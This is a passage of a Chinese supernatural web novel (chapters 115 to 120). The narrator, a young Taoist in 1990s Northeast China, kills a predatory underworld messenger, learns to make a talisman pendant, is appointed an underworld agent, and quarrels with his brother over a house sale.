我大手一挥,那黑云渐渐散去,我坐在沙发上看着趴在地上的田道士说道,“说吧,你是想怎么害我?”
田道士心虚,但也不敢跟我扯皮,他急忙说道,“这个,冯大师,我刚才的话并不都是假话,我确实能让您夺了灰仙家的气运。至于成不成仙,我没把握。我是想着利用您报复那灰仙家。”
我愣了愣,这田道士的心眼还真是小呢,瑕疵必报。
但这人嘴里面没啥实话,里面肯定还有事,我说,“田道士,你跟郭毅家应该有啥恩怨吧。”
我虽然不懂啥人情世故,但我却能看明白里面的门道,这田道士从听到郭毅的名字,他似乎就对郭毅家有着敌意。
哪
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怕刻意地收敛了,但那种敌意根本收不住。里面还有事!
我眯眼盯着田道士,我甚至觉得,他故意在那灰家祠堂说的那些话,就是为了让我看到灰大仙弄他的。
田道士瞳孔紧缩,但他却极力否认,“冯大师,我,我就是气不过它把我扔出门外。真的,真的是这样。”
宁可被我劈也不说实话,这件事应该问不出来了。
我想了想说道,“田道长,你以为我不知道嘛,你不就是想从我手中把那心血拿回去嘛?暂时的话,应该不可能了。等你啥时候找到一些好东西,可以等价交换。”
我故意显得很蠢,装作看透了他一样,果然,随着我这样一说,我看到他松了口气。
“冯大师,饶过我这一次,我不敢了,我真的不敢了。您说的没错,我就是想拿回我那心血,所以不得不出此下策。”田道士强忍着疼痛跪在了呢。
我心中冷笑,这老家伙还真会装呢。
这更加验证了我的想法,他跟灰仙家有恩怨,还是不小的恩怨。
但这些都不重要,重要的是我大致摸清楚了这田道士的本性,他是个不折不扣的,贪生怕死的阴险小人。
随后,我也没有在这上面继续扯,而是想了想说,“田道长,让我把心血还你也可以。”
闻言,田道士的眼睛都发亮了,他甚至顾不上疼痛的站了起来,满脸惊喜道,“真的吗?冯大师,您让我做啥?只要我能做得到,我保证不留手!”
我说,“也没啥,我想做个实验。”
田道士疑惑,“啥实验?”
我说,“你因为有一滴心血在我这,所以实力大打折扣对吧?”
田道士重重地点头。
我继续说,“这样,我把心血还你,你让我用雷劈你三次。你可以全力抵抗,扛得住,我们两清。”
我现在很好奇五雷诀的威力,但我觉得他应该能抗住三下,毕竟他抗住了两下了。
但在我看向田道士的时候,他明明没有被雷劈,却站在那一动不动,像是被雷住了一样。
整整过去三分钟,他才扯了扯嘴角说,“冯大师,心血我不要了,您早点睡,我也一把年纪了,经不起折腾。我也去睡了。”
说完,田道士头也不回地走了。
……
第一百一十五章殡葬老板也有问题
说实话,看着田道士的身影我有点失落。迄今为止,我觉得他是最好的练习靶子。
结果,他貌似也扛不住。
第二天一早,佛子先把田道士扔到了哈城,之后把我送回了家门口。
我也没食言,把钱给了郭毅。
“冯大师,可说好了,这钱我收了,你也欠我个人情啊。”郭毅生怕我反悔说道。
“当然。”我笑着说道。
“哈哈,那就不打扰冯大师了,我先走了。”郭毅说完就走了。
回到家里,我娘拉着我胳膊说,“冯宁啊,外面那人谁啊?你听娘说,我都看见了,你那小屋里都是钱啊,你说,你是不是干坏事了?冯宁啊,咱们家穷点没事,你可不能犯罪啊!”
我爹也凑了过来,他说,“老幺啊,你娘说得对啊。你说你好不容易正常了两年,可不能犯罪去蹲号子啊。钱啊,够花就行。”
看着老两口那担心的模样,我也是哭笑不得。他们这是怕我违法乱纪啥的呢。
我说,“爸,娘,你们放心吧。我那些钱都是正路子来的,给人看事给的。这两天家里的来的人,也都是找我看事的朋友。”
我爹说,“看事这么挣钱吗?你那屋子还有金子呢!”
我爹说完就急忙解释,“老幺啊,爹不是看你有多少钱,是昨天你朋友拉来一堆东西,说是你的。我跟你娘想着放你那小屋,不小心看到了。”
我娘也说,“冯宁啊,我给你爹作证,你爹真不是故意看到的。你说你那金子就往炕上一扔,我们也想看不到啊。要不是怕你觉得我跟你爹固执,我都想给你收起来了。”
听着老两口的话,我也是哭笑不得,但随后,我觉得心里暖暖的,我这爹娘起码没有自作主张的把我钱收走。
但我性子冷漠,感动了一下,也就没事了。我说,“爹,娘,你们要是用钱就自己拿,我也没啥地方搁,所以就放炕上了。”
我爹我娘急忙摇头,说我大了,以后用钱的地方多了去了。还说最近流行起了存折,说我可以去银行办一个,把钱存里面,以后去任何地方都能取钱出来。
我眼前一亮,这还真是个好办法。这会是九六年,东北这边刚取消各种票子也就一年多。
而大家对于把钱存银行的这个概念还不是很深刻,有些抵触感。
但我却不太在意的,在我眼里方便就行。
说弄就弄,在我们黑城这有两家选择,一个是邮局银行,一个是乡农信用社。
黄金我放在了家里,但手里的几十万,分别在两家银行都存了钱。
等我回来,我娘说让我去买些金壳子,大黄纸,说是晚上去烧给我爷爷他们啥的。
我又来到了金友殡葬,这是我第二次见到那老板。见我来了,老板也认出了我,熟络地问我买些啥。
我一五一十地说了,老板便给我装货。本来吧,这边出过事,被我解决了,连那个邪修都被我拍**。
我觉得这应该没啥问题的,但谁知道,在这老板弯腰弄东西的瞬间,我却在他身上感受到了一股不对的气息。
倒不是邪气!
而是一股腥味!
“一共八块四毛钱。”老板装好了东西,递了过来。他看上去很客气,冲我笑了笑。
“好。”我掏钱递了过去,没有打草惊蛇,而是直接离开了。
等回到家,我把金壳子啥的给我娘递了过去,我就出门了,直接去了金友殡葬盯着。
原本这个金友殡葬的老板掩饰得很好,他没有露出任何气息,也没有被我怀疑,但那股腥味却暴露了他。
这家伙!
跟那个邪修一样!
吃活物!
我怀疑,他跟那个邪修可能是一起的。
我在附近蹲着,最近又是清明,所以来这买纸钱的人很多。
很快,天色晚了。四周有人已经烧起了纸钱,结果,这个节骨眼正是大卖的时候,他却突然带了个女人锁门走了。
女人年纪不大,二十四五岁,长得不出众,但很耐看,属于那种打工小妹。
而这个女人,刚进去没有五分钟,然后两人就搂搂抱抱的出来了。
我跟了上去。
这金友殡葬的老板很大胆,路上就摸摸搜搜地,一路去了那要建公园的工地。
然后,他四顾无人,把女人一把就拉进了翻斗车的车斗里。
再看那女人,神志不清,也没有反抗,跟他就
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进去了。
听到里面传来了脱衣服的声音,我冷笑,眼下冬天还没完全过去呢,寒风刺骨,晚上嘎巴嘎巴的冷,这家伙居然带女人在车斗里做那种事。
我一跃而起,跳上了车斗的边缘。眼看那女人外套被脱,肚兜兜都露出来了,而这金友殡葬的老板已经脱光了,急不可耐地说,“一年啦,一年啦,快憋死老子了。要不是那个怪物露出马脚,去年老子就得逞了。女人啊,阳间的女人,老子最喜欢了!”
眼看女人的裤子要被脱掉了,我坐在斗上的边缘,故意发出了点动静。
“谁!”金友殡葬的老板突然发出吼叫,转头看向了我。
我冷冷说道,“应该说,你是谁才对吧?”
“是你?你是那个臭道士!”金友殡葬的老板声音像是从喉咙里发出来的。
“你是,阴差?”我突然认出了他是个啥东西了,阴差。
当然,他可不是王薛,这家伙的实力我觉得不太强。
“你很不简单嘛,居然还知道阴差。既然见了本大爷,还不滚,敢坏我的好事,你想死吗?”他光着个身子,也不觉得冷,威胁的眼神看向我。
“我死不死?你说的不算呢。倒是你,一个阴差,居然跟邪修有关联?你才应该死吧。”我声音冰冷。
这个家伙吃活物,还玩阳间的女人,又跟那邪修有关联。
我起了杀心。
“就凭你!一个年纪轻轻的臭道士,能有个啥本事?”他冷冷说道。
“没啥本事,但那个邪修被我弄**。该你了!”我冷冷说道。
“啥?他**!哼,少在这装腔作势,那家伙皮糙肉厚,能扛得住半步筑基期的修士,我看你是死到临头,在那臆想呢吧!”说完,这阴差突然一只手朝我抓了过来。
下一秒钟,一只大手要把我整个人要握住。
这大手似人手,但又不是人手,背后毛发旺盛,手上的纹路清晰可见。
“这就是阴间的术法嘛,要是那王薛的话,我还真没办法,你?不行!给我滚!”我一声怒喝,身子却纹丝未动,在那大手即将握住的一刻,直接把它震开了。
“不,不可能!”
……
第一百一十六章哪都有嘎子
阴差眼神震惊,喉咙里的声音浑浊不清。
然而此时的我正死死地盯着他,对于他的震惊,我直接无视了。
我在想,一个阴差居然会出来害人?
我运转道力,双眼用力,阴差的本体出现在了我的面前。我看到金友殡葬老板的体内,有着另一个人的身影。
这是个浑身裸露的中年男人,国字脸,留着山羊胡子,跟人长得没啥区别。唯一的区别,那就是它的皮肤是赤红色的。
而我之所以能认出它是阴差,还是因为王薛的缘故,王薛当时扮鬼吓我,那种气息我记得,跟眼前的这家伙虽然有差距,但很相似。
这家伙狠辣啊,刚才出手就想把我捏死。所以我也不惯着,催动道力,朝着他的本体抓了过去。
嗖!
阴差吓得连连后退,但他的速度在我眼里很慢,我三两下就追了上去。
“你,坏我好事!我记住你了!”阴差觉得不是我的对手,恶狠狠地放了狠话,它那本体从金友殡葬地老板体内一溜烟的出来,然后两条小腿在雪地上倒弄着就要跑。
我一看。
这不是那个小纸人吗?
对付这东西我有经验!
一把就抓了过去。
吱吱吱!
阴差挣扎,像是一只刚出生的小耗子,然而,它本体的力量太小了,连我的一根手指都推不动。
这让我很惊奇,要知道王薛给我的压迫感,就像是一座难以逾越的鸿沟。
同为阴差,差距也太大了吧?
“你,你放开我!”纸人说话了,速度很快,叽叽喳喳的,但我能听得懂。
我没说话,而是漠视地盯着他。说实话,我心里面也犯嘀咕。杀那些害人的精怪,我绝不手软。但阴差,我没杀过,会有什么后果?我也不清楚。
如今的我虽然实力上有所提升,但我深知一个道理,人外有人,天外有天。起码,我已经亲眼见到了不少东西,是现在的我难以对付的。
“啊啊啊,呼!”见我没放手,阴差小纸人突然朝我眼睛吹了口气,一股黑烟,里面竟然有毒。
翁!
然而下一秒钟,我那愿力的金色罩子突然现身,直接挡住了这些毒物。
我愣住了,小纸人也愣住了。
我没说话,他却震撼,“这,怎么可能。你是供奉?”
我眯了眯眼睛,有些生气了,我气的是自己年轻,要不是那愿力的罩子,真就着道了。
刚才那口毒气,足以毒死一个成年人。这家伙跟毒蛇一样,一直憋着坏呢。
但眼下,我倒是要谢谢他了,吃一堑长一智。
我运转道力,直接要捏死他。
“啊啊,你,你不能杀我,我乃是阴差,我是秩序者,杀了我,你会被天道盯上的。阴间的殿下们,不会放过你的。”他狂吼。
闻言,我倒是没在继续下**,当然,这不是因为我怕了,反而是我觉得能套出点话来。
我一边防备他,一边说,“放了你?让你继续出来害人?”
见我没直接下死手,他松了口气说道,“哼,我身为阴差,乃是阴阳两界的秩序者,我那不是害她们,能被我玩,那是她们的荣幸!”
都这个时候了,这家伙竟然还有优越感呢。我冷笑道,“那被你吃过的生灵呢?他们也该死是吗?”
我想到了陈皮的朋友,想到了它同族的那些被吃掉的黄皮子。虽然我冷漠,觉得弱肉强食没啥错。但他们的行为已经越界了。
然而,这阴差小纸人却没有半点的悔过,反而冷冷说道,“哼,阳间的生灵,本就是食物,就跟你们吃牛吃猪一个道理。”
我眯了眯眼睛说,“那个邪修呢?他是不是在帮你做事?”
阴差小纸人冷笑道,“哼,它还不配帮我做事。那个蠢货是被我吸引过来当替罪羊的,有了它的掩护,我好做事。就算出了事,也能在阴差头那把这些事推在他身上。原本,我去年这个时候就能出来玩一玩,结果,你突然出现,我还以为是天师府的臭道士呢就跑了。结果今年,又是你!”
说完,阴差小人死死盯着我,那老鼠眼上,流露出一股子恨意,此刻,他似乎都忘记自己的处境了。
听了阴差小纸人的话,我意识到了一个问题,这家伙貌似能出来的机会很少。我为了确认这个想法,我说,“据我所知,你们阴差应该随时都能出现吧?你祸害人,还用得着挑时间吗?”
阴差小纸人冷笑,“呵呵,你是在套我话吗?”
我冷笑,“除了你,我
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在年后还见过一个阴差。”
阴差小纸人愣了愣,摇头道,“不可能,我们阴差除了清明这一个月,就只有七月十四能出来透透气。其他时间根本没有机会的。”
原来如此,我现在彻底的清楚了两件事,第一件事就是那王薛根本就不是阴差,她真有可能是那阴间的十殿下。
想到这里,连我都觉得有些玄乎。我居然见到了那传说中的老女人。
第二件事已经很明了了,阴差不能随意的来到阳间,他们只有清明这一个月,还有七月十四鬼节的这一天能过来。
我猜测,应该是带着某种任务来的。但想必也问不出来了。
得到了我想要知道的事,我疯狂地催动着体内的道力。
“你,你,你还想杀我!”阴差小纸人吓得小脸发白。
我没说话,道力越来越疯狂,倒不是我故意吓唬它,而是我发现这家伙竟然有愿力护身。
我得破了它的愿力才行!
“额……哈哈哈,杀我?就凭你?我可是有仙气护体的,来,杀啊,你杀啊!你要是杀不了我,明年的这个时候,我还出来祸害人!我还要杀你全家!”见我半天没破了那护体的愿力,阴差小纸人突然跟我叫嚣了起来。
我皱了皱眉头,随着道力的疯狂催动,却依旧破不了这护体的愿力。
也就是说我能抓住他,但弄不死他?
眼下,我已经不再纠结杀他会有啥后果了,我只想怎么弄死他。
这样我会很舒心!
“哼,小崽子,还不把我放了?你要是懂点事,不想我报复你,认我做你干爷爷,给我建庙烧香,每逢鬼节清明帮我做事,找女人玩玩,我要是高兴,放了你全家!”阴差小纸人又嘚瑟了起来,虽然它小鼻子小眼睛的,但那样子倒是跟我二哥的嘴脸一模一样。
果然啊,人间有人间的嘎子,阴间有阴间的嘎子。
我深吸一口气,尽量让自己冷静下来,随后,我突然想到了自己也有护体的愿力。这东西除了保护自己,能不能用呢?
说干就干,我尝试催动那愿力,正如我想的那样,它不仅仅是个罩子,还能被我调动。
“等等,兄弟,有话好好说。我认你做爹,别,别杀我!”
……
第一百一十七章歪嘴土狗王
真的可行!
随着那愿力充斥在我手上,那阴差小纸人的护体愿力被我硬生生的击碎了。
阴差小纸人傻眼了,再次像我求饶。
砰!
然而这次我可没有再给他机会,双手用力的握住,它当场化为了灰烬。
我松开了手,心里面无比的畅快。
装逼?
那就死吧!
与此同时,随着阴差小纸人的消失,那昏迷的金友殡葬老板也醒了。他没看到我,冻得哆哆嗦嗦的,喊了一声‘我咋在这’之后,羞愧地往家跑。
在他走了,我一跃到车斗上,把那女人衣服穿好,催动‘道’字真言。见她苏醒,我才默默离开。
金友殡葬这边的事,总算是真正的解决了。我其实也没想到,里面居然是局中局。要不是闻到了那老板身上有血腥味,或许我也不会发现还有个坏阴差。
总之,结果还是好的。
回到家的时候,已经是后半夜了。我睡不着,干脆研究起了那些制作道器的材料。
因为在帝都的时候,我拆开过那个道器的吊坠,里面就是绳子,雷击木,符咒啥的。
所以我觉得制作个道器应该没啥难度,但等真正上手的时候才知道,这玩意真不容易。
我先是模仿了一个,但在组合成功后却发现,连原本的雷击桃木的雷力都没了。
这让我有些失望。
之后我又连做了几个,尝试用各种办法,结果不是雷力没了,要么就是符咒不起作用,甚至还炸了两个吊坠。
直到第二天早上我娘叫我吃饭,我都没做成一个完整的道器。
越是这样,越是激发了我的好胜心。所以就连吃饭的时候,我脑子里都是在想着怎么做道器。
当然,我不只想做个道器,我还想做一把趁手的武器呢。
结果,暂时连第一步都没跨出去。
“爸,娘。”我二哥二嫂突然回来了,还带了一些水果,两人看上去红光满面的。
“你们咋回来了,快,来吃饭。”我娘急忙起身去拿水果,然后给我二哥二嫂他们拿碗筷。
“娘,你是不知道,这次我弟可是帮了我大忙,我那房子能住了。所以我回来,谢谢我老弟,给我弟买点好东西。东北庆市的奶粉,价格可不便宜呢,老弟我特意买给你的。”我二哥拎着一袋奶粉放在了桌子上,眼睛一直都在我身上。
我瞥了他一眼,没搭理他。
我觉得我二哥脑子有问题,他要是啥也不拿,老老实实的回家吃个饭,看看我爹我娘,我还会觉得他是个人。
结果呢,拿了一袋奶粉,然后在这三吹六哨地抵人情?
净整这些虚头巴脑的。
真的让人喜欢不起来。
“咳咳……”我二嫂尬住了,朝着我二哥咳嗽了两声,不用想都知道,显然我二嫂也没料到他会弄这出。
结果,我二哥却一点也不尴尬,又凑过来跟我说,“老弟,你是不知道啊,自从你帮我们把那屋里面的东西除了,我那小区第二天就有人想买我家房子了。”
闻言我也愣了愣,这事未免也太巧了吧?
我没说话,我娘却开口说,“真的啊,那太好了啊。你爹这些天总看报纸,报纸上说全国的房价都要涨了,这以后啊,没有分房子那一说了,都要自己买。你还买对了啊!”
我娘从小就偏心我二哥,见我二哥买了房子,还买对了,高兴得合不拢嘴。
我二嫂跟着说,“妈,是真的。老弟帮我们处理了那邪门事,第二天有人就出钱了。我们也算是因祸得福了。当然,这都是冯宁的功劳,冯宁,二嫂在这谢谢你了。以前二嫂年轻,有不懂事的地方,二嫂给你道歉。”
二嫂这突如其来的道歉,我有些意外。伸手不打笑脸人,再说,以前我跟二嫂接触的并不多,我想了想说,“二嫂,咱们是一家人,不说两家话。那房子周围的风水布局很好,你们住在那也会被风水影响,房子最好不要卖。”
我其实也感性了,冲着二嫂的这几句话,又叮嘱了两句。
我说的这些都是实话,自从了解了有关风水的事,这东西确实
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影响很大。所谓一命二运三风水,风水被排在第三位,不是没有原因的。
而如今城市化,想要找一个风水宝地的小区,真的是不容易的。
“小弟,你现在说啥,二嫂都信。不卖,肯定不卖。哎,跟了你二哥十年了,总算是有个窝了,冲这个我也不卖。”我二嫂实在道。
我点了点头没说话,而是瞥了我二哥一眼,我看他在那撇了撇嘴,眼珠子直转,不知道在想啥呢。
但我二哥想啥,跟我都没啥关系。吃过饭后,我二哥又拿那庆市的奶粉在那叭叭的。
我没搭理他,回屋又去研究我那道器了,结果这一研究,三五天又过去了。但还是没啥结果。
人啊,哪怕是我这种修道的人,有时候也会失去耐性的。
一个破道器,老子花了六七天没结果,气得我带着欢欢干脆去江岸钓鱼。
“汪汪汪。”
结果,欢欢又给我带来了个意外,它在江边朝我叫了两声,然后前爪疯狂地点在地上。
轰!
那雷声不大,但确确实实是真的雷电。中指那么粗细,在江面上激起了一片浪花。
“你真学会了?”我惊讶地看向了欢欢,它真的把五雷诀给学会了?虽然只是那一点浪花,但要知道这可是雷啊。
道法之中,雷为纯阳,最强大的威力。一条狗给学会了?
欢欢静静地坐在我身边,它抬着头颅,那嘴巴是越来越黑,此刻,要是有人看到,估计会诧异。
因为这黑嘴巴的大黄狗,竟然整得意地坐在那。
“厉害了。”我摸了摸欢欢的头,它看上去更加的得意了。
**!
随后连我都愣住了!
一个土狗竟然歪嘴在笑?
这一幕我在电视上看过,向来都是主角在装完逼之后,才会露出来的笑容。
我记得有个主角叫龙王!
身世牛逼,赢了反派之后,就是这个笑容。当时我爹还给那人起了个名字,歪嘴龙王。
那我家欢欢,是不是歪嘴土狗王啊?
……
第一百一十八章制作道器
这些天因为道器的事,弄得我有点郁闷。看到欢欢的这个举动,我忍不住推它大笑,“你小子,还跟我摆上谱了。”
被我推了,欢欢也不生气,反而偷偷地打量我,贼眉鼠眼的。见我是在跟它开玩笑,欢欢往我身边凑了凑,歪着脑袋倒在了我怀里。
看着欢欢那可爱的模样,我也是忍不住笑了笑,摸着它的狗**说,“你应该很厉害了,连雷力都弄了出来。欲速则不达,我相信,你早晚有一天能成为土狗王的。我嘛,早晚有一天成为方士王!”
很显然,欢欢并不知道方士是啥,只是一个劲地舔我的手。
而我呢,在欢欢进了我家门的那一刻,它就已经是我的家人了。
等等!
欲速则不达!
“无欲速,无见小利。欲速,则不达,见小利,则大事不成。”我突然觉得读书真的很重要,起码对我而言是这样的。
这句‘欲速则不达’出自论语子路篇,是我曾读过的桥段。
当时我只是记住了这句话,而眼下,确实给了我最大的启发。
这段时间以来我太着急了,莫名的着急。因为在我眼里制作道器应该极其简单才对,然而,我却总是不成功。
以至于越是这样,我越是钻牛角尖,反而陷入了一种死循环。
我看向了欢欢,它还趴在我的怀里,我问它,“欢欢,你为了练成这雷力,应该花费了很长时间吧?”
欢欢扑棱一下就站了起来,朝我点了点头。然后,它在那演绎着自己一遍又一遍的尝试的状态。
它看上去很慢,但很有耐心,感觉错了就重新再来,终于,那天空突然又来了雷电而下。
“谢谢你,帮我一个大忙。走,我们回家。”我深吸一口气,原本有些不爽的心情一扫而光。
要不是欢欢,我都快忘了自己当初在三叔家养猪场那会的日子了。
那时候刚刚修行五雷诀,我不就是一遍又一遍的苦练才有了效果吗?现在随着实力的增长,反而认为有些事情就该理所应当。
其实不然。
修道的,哪个是容易的?何况是一个道器,哪那么容易。
有了这层心态,我回到家就把自己关进了小屋。这次我细心地琢磨那吊坠,拆开,仔仔细细地观察。果然,收获巨大。
那雷击木看似寻常,其实里面的木头壁刻着细微的道教文字。这些字很小,但上面却散发着道力。
再说那里面的符箓也是如此,符箓上的一撇一捺,那都是用心所写。
就连那绳子,都是用心编织的。此时此刻,我仿佛看到了一个年过半百的老道,正耐心地搓着细绳,一边搓,一边运用道力。然后,他小心地写着符箓,意念合一,这才有了这吊坠。
我是个动手能力极强的人,说干就干,既然找到了不寻常之处,那就开始动手。
我觉得是这样的,我很想做出自己独特的道器,但我眼下不能那样做,我先去模仿,等做成一个再去尝试用自己的思路做想要的道器。
于是,我有样学样的,把控了吊坠的所有细节,耐着性子去做。
经过了两天,还真就做出了个一模一样的吊坠道器。
“成了。”
感受到了吊坠里面的道力,我有些激动。但随后我又发现了问题,我做出来的这个道器吊坠,道力貌似比人家的差了一点。
虽然两个吊坠对普通人来说都没啥用,但差一点,就说明我没弄好。
问题出在哪呢?
我反复的比对!
完全没发现天色已经完全黑了下来。
“汪汪。”欢欢不知道啥时候来了我这屋,低眉顺眼的,一个劲地给我使眼色。
我这才回过神来,但接着就吓了一跳。在我这屋的窗前,一道女人的身影出现了。
她就坐在那,穿了一身的皮衣皮裤,笑眯眯地盯着我。
也不说话!
看上去怪吓人的。
“你,是谁?”我皱了皱眉头,眼前这女人我不认识,但她们的气息我已经熟悉了,她是阴差。
而她的突然到访,我表面上装糊涂,心里却猜了个大概,应该是因为那阴差小纸人来的。
但眼前的这个女阴差,实力可不是那个阴差小纸人能比的。
我觉得有点棘手。<
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br>“道器,需要用道力淬一下。”女人笑了笑,朝我扬了扬下巴。
该说不说,这女阴差长得真是带劲儿,她有着一张高冷的脸,个子高挑,就跟电视里那些选美小姐似的。
而她给人的感觉又不是那种高冷的女人,因为她会笑,笑起来如沐春风,连我都有些看愣住了。
但很快我收回了目光,想到她说的‘淬’字,我尝试用道力把道器裹在其中,伴随着噼里啪啦的响声,我看到这道器突然玉化了。
成了!
这次是真的成了,我拿着另一块道器吊坠反复的比对,我做的道力更加精纯。
我有些激动,但眼下貌似不是激动的时候。我看向了女阴差,“感谢指点。但你还没说你是谁呢?来我家有啥事?”
女阴差笑了笑,反复地打量我说,“小道士,何必明知故问呢。你知道我是阴差,那自然知道我来了是为了另一个阴差的事了。”
我装糊涂,“不知道,我不知道你是阴差,什么另一个阴差的事?我不清楚。”
女阴差也不生气,而是朝我笑了笑,随后她突然施展术法。
紧接着,窗户上多了一道光幕,此刻,那光幕上正是我捏碎了那阴差小纸人的画面。
我愣了愣,这是啥术法?我杀阴差的画面,竟然被回放了?
我眯了眯眼睛,声音有些低沉道,“既然你已经知道了,那你想怎么样?带走我?还是杀了我?”
我想过杀阴差会惹出事来,但没想到会被找上门。说是不紧张是假的,因为我根本不知道他们要把我怎么样。
但我觉得不能坐以待毙。
她要是对我动手!
我就把身上能寄出去的东西招呼她!
不行!
再弄死她!
“你想杀了我?”女阴差盯着我,脸上的笑意没了,那眼神冷冽起来。
“没有,你那么漂亮,我是不会对漂亮女人动手的。我只是想弄清楚你的来历。你想对我做啥。”我撒了谎,我确实想弄死她。
但也有前提,那就是她对我不利!
她到底来找我做啥的呢?
……
第一百一十九章通幽人
女人,哪怕是女阴差,听我夸她漂亮,那脸上的寒意马上就消失了。
她上下打量着我,半天才说道,“事情的来龙去脉我们以查探清楚,那阴差私下作恶,确实该死。但是,你不是执法者,私下处刑,犯了规矩。所以,你要付出点代价才行。”
我语气有些不爽道,“他作恶,**那是罪有应得,我为啥要付出代价?”
也不知道是不是我夸她漂亮起到了作用,对于我生硬的语气她也不生气,而是微笑道,“规矩就是规矩,没有为啥。”
我听了她的口气,凑过去套近乎道,“美女,你应该也是东北的阴差吧?听起来都是家乡口音。你看,我给你烧点纸?这事就过去呗?”
她愣了愣,随后笑意道,“你好歹也是道士,不会以为人间的黄纸,那就是阴间的钱吧?”
我疑惑,“额,不是吗?那阴间的钱长啥样?”
她掏出了一块石头,上面阴里阴气的,这东西要是放在人身上,准没好事,她说,“呐,这个就是阴间的钱。”
我顺手接过来,小拇指大小,长方体,上面刻有印章,那印章上散发着阴力。
我随手又把这东西还给她,女阴差急忙就放到了口袋里,那样子生怕丢了似的。
我疑惑,“那烧的纸咋办?没用吗?”
她却说道,“我说那不是阴间的钱,但没说那东西没用。阳间阴间虚间,本就是重叠的空间,相互关联,却又相互独立。人间烧纸,那烧的是思念,也叫做念力。这种力量仅次于愿力,而在阴间念力是可以用钱交易的。而念力越多,在那边活得也就越好。”
说实话,听了她的话,我突然想死一次去那边看看到底咋回事。
这可比游山玩水刺激多了。
当然,我也就是想想。但随后,我又意识到了个问题,甚至觉得有点伤感地问,“那要是,不被阳间的人记得了,没有纸钱,那边会不会很惨。”
女阴差瞥了我一眼,她倒是没有被我的一连串的问题问烦,反而说,“这个看自己,有能力的人,就算没有家人烧纸念力,在那边也会混得很好。没能力,就算你把人间的印刷厂买下来烧过去,该是孤魂野鬼,还是孤魂野鬼。”
听了这些话,我愣了愣,好家伙,感情老子好不容易感伤了一下,结果是这样?
我还想岔开话题,但那女阴差直勾勾地盯着我,貌似没办法躲开我要付出代价这件事了。
看在她说了这么多的份上,我主动道,“啥代价,说来听听吧。”
女阴差笑道,“你不用紧张,对你而言,反而是好事。”
我无语,“代价还有好事?”
女阴差点头,“谁说代价就一定是坏事呢。”
我疑惑。
女阴差又说道,“成为通幽者,也叫做阳间的阴差。”
我愣住了,通幽人我是知道的,因为方士记忆里提过这种事。阳间的人,阴间的差,还是个有权利的阴差。
不但能调动其他阴差,还能斩杀邪祟积阴德。咋说呢,如果我在杀那阴差之前就是这个角色,那我杀他,不但不会被调查,还会因为对方的恶而积阴德。
而这方士曾与通幽人打过招呼,这类人非常强大,能调动阴兵。传言中的那些阴兵借道,之所以能被阳间的人看到,大多数都是因为通幽人的缘故。
因为阳借阴兵,沾了阳气,时空混乱,所以就有了有人看到阴兵的事。
我说,“确实是一件好事。但我要是不答应呢!”
我从不认为天上能白掉下馅饼,何况我可是个方士,万一祖师爷抵触这事呢?
我总觉得有诈。
结果女阴差却笑道,“你没得选择,那位说了,你要是不答应,她亲自来把你抹去。”
那位?
我突然想到了啥,我说,“王薛?”
提到这两个字,女阴差突然脸色大变,身上一道红色的戾气炸开,她的双眼上突然多了三个眼瞳,虽然看上去依旧很好看,但那种气势却极为强大。
她怒喝,“大胆!殿下之名
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,你也敢随便提。”
但下一秒钟她却愣住了,用一种极其诧异的目光问我,“你,你怎么还会记得殿下之名?”
我也没想到女阴差的反应会如此大,但我还是说了,“那天王薛走了之后,我确实一阵犯迷糊,而且还因为这事吐了。但开了窗户就好了。咋说?不是她给我下了迷糊术法吗?”
女阴差诧异了,我又说了王薛的名字,但她貌似没有那么大的反应了。
她眼神打量着我,随后说,“既然如此,两个选择,成为通幽者,再或者,殿下亲自来找你。”
威胁我?
我皱了皱眉头,想到那女人在业火中收拾了那些东西,我说,“好,这活我接了。但我有个疑惑,你们不会三番五次的就来找我吧?我可没那个时间。”
女阴差脸上没有了笑容,而是说道,“我叫柳烟,按照你们阳间的划分,我是哈城到黑城这一片的阴差头。这个给你,从今天开始,你就是仅次于我的阴差通幽者了。等我回去,会在那边给你建庙,你每做一件好事都会积阴德的,你的庙也会因此而变化。相辅相成。”
我听得云里雾里的,阴间还有庙?更神奇的,我人还活着呢,被阴间那边给建庙了。
眼下,我似乎也没得选择,我接过了女阴差给的一个小牌子。这东西木头制作,轻飘飘的。比起那阴间的钱币,这东西上面是被一种金光缠绕,对人没有啥害处。
等我接在手里,下一秒钟就化作一道金光。等我再次见到它,已经在我的脑海中了。
还没来得及惊奇,女阴差突然消失不见了。我恍恍惚惚的,没曾想一夜就过去了。
直到第二天我娘招呼我吃早饭,我才看到我家欢欢在墙根那哆嗦了一宿。
随后,我突然意识到了一个问题,我说,“欢欢,你能看到她?”
欢欢点了点头。
想到了那女阴差的漂亮面孔,我吐槽道,“还以为这阴差啥的挺神秘呢。结果连狗都能看到?”
……
第一百二十章无语到想说话
但随后我又拍了下大腿,“糟了,这老女人走得太快了,我都忘了问她为啥我见了那王薛会失忆的事了。”
除此之外,我还有一个大疑惑,我接了这个差事,祖师爷貌似没有怪罪我?
这让我想起了当时见到王薛,我给她鞠躬,祖师爷也没阻止?
这个十殿下,难不成比神佛还要强大?
“这孩子,都叫你好几次了?咋还不来吃饭呢?神神叨叨的,还跟狗说上话了。你二哥回来了,说是有个好消息分享给你。你爹说,让你帮着参谋参谋。”我娘又来叫我了,看我的眼神奇奇怪怪。
我哭笑不得。
这眼神我见过,当初我变成傻子那会,我娘总是这样看我,然后唉声叹气的。
“啊,我现在就去。”我应了一声。
但对于我二哥的事,根本没放在心上。结果,在吃饭的时候,听了我二哥的话,他这是直接拉了个大的。
他把房子给卖了。
我爹瞪大眼睛,直接把筷子拍在了桌子上,连饭都吃不下去了,气得手哆嗦,“你说啥?你把房子给卖了?老幺千叮咛万嘱咐的,不让你卖那房,你给卖了?”
我娘弯腰捡筷子,她使劲地捅咕我爹,还是偏向我二哥。我娘说,“老死头子,孩子好不容易回来两次,你咋这样呢。”
但我娘看了我一眼,又看向我二哥说,“小涛啊,前几天你不都答应好了吗?不卖房。再说了,你跟你媳妇好不容易有个家,还在省城,你这咋回事啊。”
结果我二哥却得意地说,“爹,娘,我不是不信我弟,你们不懂。那死过八个人的房子,咋可能值钱啊。我这就赔了两万,在放在手里,早晚砸在手里。到时候,那可就不是两万了!”
说完,我二哥看了我一眼。
我瞥了冯涛一眼,本来我是不想搭理他的,但人在无语的时候其实是想说话的,我说,“冯涛,以前的事我不提,都过去了。就说你现在吧。陈红看在我的份上给你赔了一笔钱,又把那些古玩送你了。加起来有十几万吧?你折腾来折腾去,你没有想过一个问题吗?你要是不折腾的话,现在是不是有十几万?”
